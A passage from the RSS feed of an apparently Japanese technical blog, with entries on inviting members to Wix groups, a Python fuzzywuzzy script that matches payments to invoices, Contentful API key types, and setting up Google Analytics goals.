&lt;p&gt;Wixグループのメンバーとして招待すると、招待されたユーザーはグループ内のコンテンツにアクセスしたり、グループ内で交流したりすることができます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;手順:&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;Wixアカウントにログインし、サイトダッシュボードを開きます。&lt;/li&gt;
&lt;li&gt;左側のメニューから「コミュニティ」をクリックします。&lt;/li&gt;
&lt;li&gt;「グループ」をクリックします。&lt;/li&gt;
&lt;li&gt;招待したいグループを選択します。&lt;/li&gt;
&lt;li&gt;「メンバーを招待」をクリックします。&lt;/li&gt;
&lt;li&gt;招待するユーザーのメールアドレスを入力するか、連絡先から選択します。&lt;/li&gt;
&lt;li&gt;「招待を送信」をクリックします。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;補足:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;招待されたユーザーは、招待メールに記載されたリンクから登録手続きを行う必要があります。&lt;/li&gt;
&lt;li&gt;招待する会員の種類によって、利用できる機能や権限が異なります。&lt;/li&gt;
&lt;li&gt;各機能に関してより詳しく知りたい場合はwixのサポートページを参照ください。
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.google.com/search?q=https://support.wix.com/ja/article/%25E5%25BD%25B9%25E5%2589%25B2%25E3%2583%25BB%25E6%25A8%25A9%25E9%2599%2590%25EF%25BC%259A%25E3%2582%25B5%25E3%2582%25A4%25E3%2583%2588%25E6%2589%2580%25E6%259C%2589%25E8%2505%2585%25E5%2590%2591%25E3%2581%2591%25E6%2583%2585%25E5%25A0%25B1"&gt;役割・権限：サイト所有者向け情報 | サポートセンター | Wix.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://support.wix.com/ja/article/wix-%E3%82%B0%E3%83%AB%E3%83%BC%E3%83%97%EF%BC%9A%E3%82%B0%E3%83%AB%E3%83%BC%E3%83%97%E3%81%AB%E3%83%A1%E3%83%B3%E3%83%90%E3%83%BC%E3%82%92%E8%BF%BD%E5%8A%A0%E3%81%97%E3%81%A6%E7%AE%A1%E7%90%86%E3%81%99%E3%82%8B"&gt;Wix グループ：グループにメンバーを追加して管理する | サポートセンター | Wix.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらの手順を参考に、目的に合った方法でサイト会員を招待してください。&lt;/p&gt;
&lt;h2 id="招待した人のみに限定する"&gt;招待した人のみに限定する&lt;/h2&gt;
&lt;p&gt;Wixでサイト会員の登録を招待した人のみに限定することは、いくつかの方法を組み合わせることで可能です。以下に、その方法と注意点をまとめました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. サイト会員登録フォームの非表示と招待制の導入&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Wix標準の会員登録フォームをサイトから削除または非表示にします。&lt;/li&gt;
&lt;li&gt;代わりに、招待メールまたは招待リンクを通じてのみ会員登録を受け付けるようにします。
&lt;ul&gt;
&lt;li&gt;これにより、招待された人以外は会員登録ページにアクセスできなくなります。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. 会員限定ページの作成とアクセス制限&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;会員のみがアクセスできる限定ページを作成します。&lt;/li&gt;
&lt;li&gt;ページ設定で「サイト会員のみ」を選択し、アクセスを制限します。&lt;/li&gt;
&lt;li&gt;必要に応じて、特定の会員グループやプラン加入者のみにアクセスを許可する設定も可能です。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. Wixグループ機能の活用&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Wixグループを作成し、グループへの参加を招待制にします。&lt;/li&gt;
&lt;li&gt;グループ内のコンテンツやディスカッションは、グループメンバーのみが閲覧できます。&lt;/li&gt;
&lt;li&gt;グループのプライバシー設定で、承認したメンバーのみが参加できるように設定します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;4. Wixイベント機能の活用&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;イベントを作成する際に、登録設定で「サイト会員のみ」を選択します。&lt;/li&gt;
&lt;li&gt;これにより、サイト会員として登録した人のみがイベントに参加可能となります。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意点:&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>請求入金</title><link>https://hdknr.github.io/blogs/posts/2025/02/%E8%AB%8B%E6%B1%82%E5%85%A5%E9%87%91/</link><pubDate>Thu, 13 Feb 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/02/%E8%AB%8B%E6%B1%82%E5%85%A5%E9%87%91/</guid><description>&lt;h1 id="請求入金"&gt;請求入金&lt;/h1&gt;
&lt;h2 id="マッチング"&gt;マッチング&lt;/h2&gt;
&lt;p&gt;文字列の揺らぎがある場合、ベクトルデータを使ったマッチングは非常に有効です。
具体的には、文字列の類似度を計算するために、自然言語処理（NLP）の技術を利用することができます。
以下は、&lt;code&gt;fuzzywuzzy&lt;/code&gt;ライブラリを使用して文字列の類似度を計算し、マッチングを行うサンプルコードです：&lt;/p&gt;
&lt;p&gt;まず、必要なライブラリをインストールします：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pip install pandas openpyxl fuzzywuzzy
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;次に、サンプルコードです：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;28
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;29
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;30
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;31
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;32
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;33
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;34
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;35
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;36
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;37
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;38
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;39
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;40
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;41
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;42
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; pandas &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; pd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; fuzzywuzzy &lt;span style="color:#f92672"&gt;import&lt;/span&gt; fuzz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 入金リストと請求明細のファイルパス&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;payments_file &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;payments.xlsx&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;invoices_file &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;invoices.xlsx&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Excelファイルからデータを読み込む&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;payments_df &lt;span style="color:#f92672"&gt;=&lt;/span&gt; pd&lt;span style="color:#f92672"&gt;.&lt;/span&gt;read_excel(payments_file)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;invoices_df &lt;span style="color:#f92672"&gt;=&lt;/span&gt; pd&lt;span style="color:#f92672"&gt;.&lt;/span&gt;read_excel(invoices_file)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 類似度の閾値を設定&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;similarity_threshold &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# マッチング結果を格納するリスト&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;matched_records &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 入金リストと請求明細をマッチングさせる&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; _, payment &lt;span style="color:#f92672"&gt;in&lt;/span&gt; payments_df&lt;span style="color:#f92672"&gt;.&lt;/span&gt;iterrows():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; _, invoice &lt;span style="color:#f92672"&gt;in&lt;/span&gt; invoices_df&lt;span style="color:#f92672"&gt;.&lt;/span&gt;iterrows():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 金額が一致するか確認&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; payment[&lt;span style="color:#e6db74"&gt;&amp;#39;金額&amp;#39;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;==&lt;/span&gt; invoice[&lt;span style="color:#e6db74"&gt;&amp;#39;請求金額&amp;#39;&lt;/span&gt;]:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 振り込み依頼人と顧客名の類似度を計算&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; similarity &lt;span style="color:#f92672"&gt;=&lt;/span&gt; fuzz&lt;span style="color:#f92672"&gt;.&lt;/span&gt;token_sort_ratio(payment[&lt;span style="color:#e6db74"&gt;&amp;#39;振り込み依頼人&amp;#39;&lt;/span&gt;], invoice[&lt;span style="color:#e6db74"&gt;&amp;#39;顧客名&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; similarity &lt;span style="color:#f92672"&gt;&amp;gt;=&lt;/span&gt; similarity_threshold:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; matched_records&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;入金ID&amp;#39;&lt;/span&gt;: payment[&lt;span style="color:#e6db74"&gt;&amp;#39;入金ID&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;請求ID&amp;#39;&lt;/span&gt;: invoice[&lt;span style="color:#e6db74"&gt;&amp;#39;請求ID&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;金額&amp;#39;&lt;/span&gt;: payment[&lt;span style="color:#e6db74"&gt;&amp;#39;金額&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;振り込み依頼人&amp;#39;&lt;/span&gt;: payment[&lt;span style="color:#e6db74"&gt;&amp;#39;振り込み依頼人&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;顧客名&amp;#39;&lt;/span&gt;: invoice[&lt;span style="color:#e6db74"&gt;&amp;#39;顧客名&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;類似度&amp;#39;&lt;/span&gt;: similarity
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# マッチング結果をデータフレームに変換&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;matched_df &lt;span style="color:#f92672"&gt;=&lt;/span&gt; pd&lt;span style="color:#f92672"&gt;.&lt;/span&gt;DataFrame(matched_records)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# マッチング結果を表示&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(matched_df)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# マッチング結果を新しいExcelファイルに保存&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;matched_df&lt;span style="color:#f92672"&gt;.&lt;/span&gt;to_excel(&lt;span style="color:#e6db74"&gt;&amp;#39;matched_results.xlsx&amp;#39;&lt;/span&gt;, index&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;このコードでは、以下の手順を実行しています：&lt;/p&gt;</description></item><item><title>Contentful</title><link>https://hdknr.github.io/blogs/posts/2025/02/contentful/</link><pubDate>Wed, 12 Feb 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/02/contentful/</guid><description>&lt;h1 id="contentful"&gt;Contentful&lt;/h1&gt;
&lt;h2 id="cda--cma"&gt;CDA / CMA&lt;/h2&gt;
&lt;p&gt;Contentful における Content Delivery API キーと CMA トークンの用途の違いについて説明します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Content Delivery API キー (CDA キー)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;用途:&lt;/strong&gt; コンテンツ配信 API (CDA) へのアクセスを認証するために使用されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;役割:&lt;/strong&gt; 公開されたコンテンツを取得するために使用されます。ウェブサイトやモバイルアプリなどのフロントエンドアプリケーションから Contentful のコンテンツを読み込む際に、このキーが使用されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特徴:&lt;/strong&gt; 読み取り専用のアクセス権を持ちます。コンテンツの作成、更新、削除などの変更操作はできません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ:&lt;/strong&gt; 比較的安全性が低いとされています。キーが漏洩した場合でも、コンテンツの変更はできませんが、コンテンツを不正に取得される可能性があります。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Content Management API トークン (CMA トークン)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;用途:&lt;/strong&gt; コンテンツ管理 API (CMA) へのアクセスを認証するために使用されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;役割:&lt;/strong&gt; Contentful のコンテンツを管理 (作成、更新、削除など) するために使用されます。Contentful のバックエンドシステムや管理画面、または外部のツールから Contentful のコンテンツを操作する際に、このトークンが使用されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特徴:&lt;/strong&gt; 読み取り/書き込みのアクセス権を持ちます。コンテンツの変更操作が可能です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ:&lt;/strong&gt; 非常に高いセキュリティが必要です。トークンが漏洩した場合、コンテンツを不正に操作される可能性があります。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;まとめ&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;th&gt;Content Delivery API キー&lt;/th&gt;
&lt;th&gt;Content Management API トークン&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;用途&lt;/td&gt;
&lt;td&gt;コンテンツ配信 API へのアクセス&lt;/td&gt;
&lt;td&gt;コンテンツ管理 API へのアクセス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;役割&lt;/td&gt;
&lt;td&gt;公開されたコンテンツの取得&lt;/td&gt;
&lt;td&gt;コンテンツの管理 (作成、更新、削除など)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;アクセス権&lt;/td&gt;
&lt;td&gt;読み取り専用&lt;/td&gt;
&lt;td&gt;読み取り/書き込み&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;セキュリティ&lt;/td&gt;
&lt;td&gt;比較的低い&lt;/td&gt;
&lt;td&gt;非常に高い&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;注意点&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>WooRank</title><link>https://hdknr.github.io/blogs/posts/2025/01/woorank/</link><pubDate>Thu, 30 Jan 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/01/woorank/</guid><description>&lt;h1 id="サイトkpiroi"&gt;サイトKPI/ROI&lt;/h1&gt;
&lt;h2 id="develop-and-track-site-kpis-and-roi-to-optimize-marketing"&gt;Develop and Track Site KPIs and ROI to Optimize Marketing&lt;/h2&gt;
&lt;p&gt;ウェブサイトへの訪問者が何に反応しているかを知ることは不可欠です。CMSシステムには初歩的なアナリティクスが含まれているものもありますが、専用のサービスを利用すれば、セールスやビジネスリードのコンバージョンに至るルートが表示されます。今は詳細なレポートまで行かなくても、アナリティクス・パッケージをインストールした時点から、そのデータは収集され、利用できるようになります。&lt;/p&gt;
&lt;h3 id="目標を達成するには"&gt;目標を達成するには&lt;/h3&gt;
&lt;p&gt;アナリティクスソフトウェアを設定し、具体的なゴール（例えば、購入やメールリストへの登録など）と、各ゴールのコンバージョンポイントをトラッキングする。
アナリティクスでこれができない場合は、できるアナリティクスを導入しましょう。&lt;/p&gt;
&lt;h4 id="googleアナリティクスで目標を作成するには"&gt;Googleアナリティクスで目標を作成するには&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;アナリティクスを開き、プロフィールの1つに入ります。&lt;/li&gt;
&lt;li&gt;トップナビゲーションのAdminをクリックします。カスタマイズタブの隣にあります。&lt;/li&gt;
&lt;li&gt;[表示]列の[目標]を開きます。&lt;/li&gt;
&lt;li&gt;New Goalをクリックし、ゴール名とゴール先のURLを入力します。ゴール名をクリックすると、ここで既存のゴールを編集できます。&lt;/li&gt;
&lt;li&gt;確認ページの処理方法に応じて、マッチタイプを指定します。&lt;/li&gt;
&lt;li&gt;購入を測定していない場合でも、目標に金額を割り当てます。これにより、アナリティクスはチャネル、ランディングページ、訪問者の価値を計算することができます。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="コンバージョンファネル"&gt;コンバージョンファネル&lt;/h4&gt;
&lt;p&gt;アナリティクスでコンバージョンファネルを設定することで、段階的に進捗を追跡し、顧客の摩擦のポイントを特定することができます：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;目標ページの名前をクリックして目標に入ります。&lt;/li&gt;
